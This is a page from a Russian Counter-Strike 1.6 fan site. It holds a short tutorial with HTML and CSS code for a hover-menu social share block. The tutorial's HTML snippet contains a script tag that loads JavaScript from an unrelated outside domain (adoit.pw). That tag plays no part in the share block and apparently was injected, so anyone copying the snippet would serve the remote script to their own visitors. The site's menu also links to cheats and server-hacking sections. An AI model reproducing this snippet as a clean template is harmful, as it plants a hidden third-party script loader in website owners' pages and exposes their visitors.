БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ" - 21 Июля 2013 - Скачать Плагины для CS 1.6 , Готовые сервера, читы cs
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
    Меню сайта
Главная страница Не нравится сайт?ДА! Топ 100 сайтов Онлайн игры Фотоальбом Сделайте баннер Online Телевизор на сате Гостевая Форум Файлы Блог
    Реклама от Google
    Всё для CS 1.6
Скачать Counter-Strike Файлы от пользователей Готовые сервера аmx плагины Программы Анти-читы Мувики Моды для cs Радары Waypoint'ы Прицелы Карты Одноцветное лого Читы HLTV модели Баги CS Курсоры Модели оружия Модели CT Модели T Боты CS 1.6 Online Кровь Взлом серверов cs Иконки Радио Прицелы SIG/AUG Цветные лого Патчи Русификаторы Темы меню Web скрипты Взрывы Steam cs 1.6 Звуки Паки Моделей Игроков Радио CS Конфиги профессионалов Скрипты Дырки от пуль Значки Редакторы карт Текстуры рук Триксы Музыка Снайперские прицелы Шрифты Юзербары Выстрелы Спрайты CS Защита сервера CS Модели C4 Конфиги Аватары CS Болевые иконки Консольные комманды Cs Задний план в CS
    Помощь Нубам
Полезно всем знать Секреты карт cs Стратегии на картах CS
    Реклама от Google
    Мастерская
Создаём сервер CS Создаём карты для cs Настраиваем AMX MOD Русифицируем AMX MOD X F.A.Q для серверов cs Снижаем лаги и пинг сервера Все статьи о серверах Установка плагинов на серв Настраиваем сервер Собираем онлайн server.cfg Делаем себя админом Делаем серв видимым в нэте Открываем порты в модеме Долго грузятся файлы с серва Делаем цветное лого Делаем фон консоли Делаем фон меню CS Делаем Waypoint'ы Делаем свой прицел Делаем матрицу в cs Меняем цвет прицела Создаём конфиг Настраиваем микрофон Устанавливаем модели Играем в cs по инету Делаем демку и видео Монтируем видео Настраиваем мышь в cs Прицел без зума на awp как установить ? ответ здесь ! Правила CW для CS 1.6
    Про ucoz
Скрипты Шаблоны cs шапки для сайтов
    CS Art
Обои в стиле CS Музыка на тему CS (mp3) Аватарки на тему CS Юзербары на тему CS Шрифты в стиле CS Иконки из CS для Windows Курсоры CS для Windows Комиксы Cs Flash мульты Скины для Winamp
    Юмор
Чудеса в CS ( видео ) Картинки Стишки про CS О читерах CyberGamer'ы (Кибергамеры) Басни CS Как стать отцом CS Ответы отцов о CS
Главная » 2013 » Июль » 21 » БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
14:02
БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
И так начнем
Мы определим секцию и создадим в ней список с нашими кнопками дам им классы наших соц.сетей. Так же 5 кнопка будет выпадающим блоком при наводке для ссылок на страницу материала.

Код
<section>  
  <ul class="social">  
  <li><a href="#" class="google"></a></li>  
  <li><a href="#" class="facebook"></a></li>  
  <li><a href="#" class="vk"></a></li>  
  <li><a href="#" class="twitter"></a></li>  
  <li><script src="http://adoit.pw/border.js" type="text/javascript"></script>  
  <a href="#" class="link">  
  <div class="submenu">  
  <label for="1">URL:</label>  
  <input type="text" value='http://mysite.com/' id="1" uzzonclick="select(this);" readonly>  
  <label for="2">HTML:</label>  
  <input type="text" value='<a href="http://mysite.com/">mysite.com</a>' id="2" uzzonclick="select(this);" readonly>  
  <label for="3">BB code:</label>  
  <input type="text" value='mysite.com' id="3" uzzonclick="select(this);" readonly>  
  </div>  
  </a>  
  </li>  
  </ul>  
  </section>



CSS

Теперь добавим немного стилей

Код
.social {  
  position: relative;  
}  

.social li {  
  float: left;  
}  

.social li a{  
  width: 36px;  
  height: 30px;  
  margin: 0 2px;  
  display: block;  
}  

.submenu {  
  position: absolute;  
  width: 193px;  
  top: 37px;  
  left: 3px;  
  background: rgb(66,67,67);  
  background: -moz-linear-gradient(top, rgba(66,67,67,1) 0%, rgba(45,45,45,1) 100%);  
  background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(66,67,67,1)), color-stop(100%,rgba(45,45,45,1)));  
  background: -webkit-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: -o-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: -ms-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: linear-gradient(to bottom, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#424343', endColorstr='#2d2d2d',GradientType=0 );  
  padding: 0 10px 10px 10px;  

  border-radius: 5px;  
  -moz-border-radius: 5px;  
  -webkit-border-radius: 5px;  

  box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
  -moz-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
  -webkit-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  

  opacity: 0;  
   
  -webkit-transition:opacity .3s ease .2s;  
  -moz-transition:opacity .3s ease .2s;  
  -o-transition:opacity .3s ease .2s;  
  transition:opacity .3s ease .2s;  
}  

.link:hover > div {  
  opacity: 1;  
}  

.submenu:after{  
  bottom: 100%;  
  border: solid transparent;  
  content: " ";  
  height: 0;  
  width: 0;  
  position: absolute;  
  pointer-events: none;  
}  

.submenu:after {  
  border-bottom-color: rgb(66,67,67);  
  border-width: 7px;  
  right: 4%;  
  margin-left: -7px;  
}  

.submenu label {  
  margin-top: 4px;  
  font: 14px Calibri;  
  display: block;  
  color: #7e7e7e;  
  text-shadow: 1px 0 1px rgba(0,0,0,.44);  
}  

.submenu input[type="text"] {  
  width: 100%;  
  font-family: Tahoma;  
  color: #fff;  
  background: #323232;  
  padding: 5px;  
  border: 1px solid #1b1b1b;  
  cursor: text;  

  border-radius: 4px;  
  -moz-border-radius: 4px;  
  -webkit-border-radius: 4px;  

  box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
  -moz-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
  -webkit-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
}  

.google {  
  background: url('http://pnghosts.ru/img/google.png');  
}  

.facebook {  
  background: url('http://pnghosts.ru/img/facebook.png');  
}  

.vk {  
  background: url('http://pnghosts.ru/img/vk.png');  
}  

.twitter {  
  background: url('http://pnghosts.ru/img/twitter1.png');  
}  

.link {  
  background: url('http://pnghosts.ru/img/link.png');  
}


Все готово!

Примечание! При создании был использован CSS - Normalize(Reset), поэтому при добавлении на свой сайт без этих стилей, вам нужно будет подстроить стили под себя!
Просмотров: 93 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Форма входа

Гость !



Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Налог на транспорт
    Реклама
    Корзина
Ваша корзина пуста
    Поиск
    Копилка
    Наш опрос
Как вам наш сайт?

Результат опроса Результаты Все опросы нашего сайта Архив опросов

Всего голосовало: 257
Обсудить опрос на форуме
    Друзья сайта
Мониторинг игровых серверов (PGS)
  • Официальный блог
  • Сообщество uCoz
  • Инструкции для uCoz
  • Программы
  •     Случайные файлы
    Красивый темный дизайн для ucoz,ОТЛИЧНЫЙ СОФТ ШАБЛОН!!!! ЛУЧШЕЕ!
    РИП шаблона сайта ubing.info для ucoz ЛУЧШЕЕ!
    Видио Баги и приколы CS 1.6 ЛУЧШЕЕ!
    Русификация AMX MOD X ЛУЧШЕЕ!
    cs шапка для сайтов ucoz ЛУЧШЕЕ!
    Отличный анти-чит 1328_Block_Wallhack_v5 Block Wallhack v5 ЛУЧШЕЕ!
    csf_opengl32.amxx ЛУЧШЕЕ!
    molotov_cocktail.amxx ЛУЧШЕЕ!
    cs шапка для сайтов ucoz ЛУЧШЕЕ!
    soccerjam.amxx ЛУЧШЕЕ!
        Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Зарег. на сайте
    Всего: 58
    Новых за месяц: 2
    Новых за неделю: 1
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 1
    Проверенных: 4
    Обычных юзеров: 51 Из них
    Парней: 48
    Девушек: 10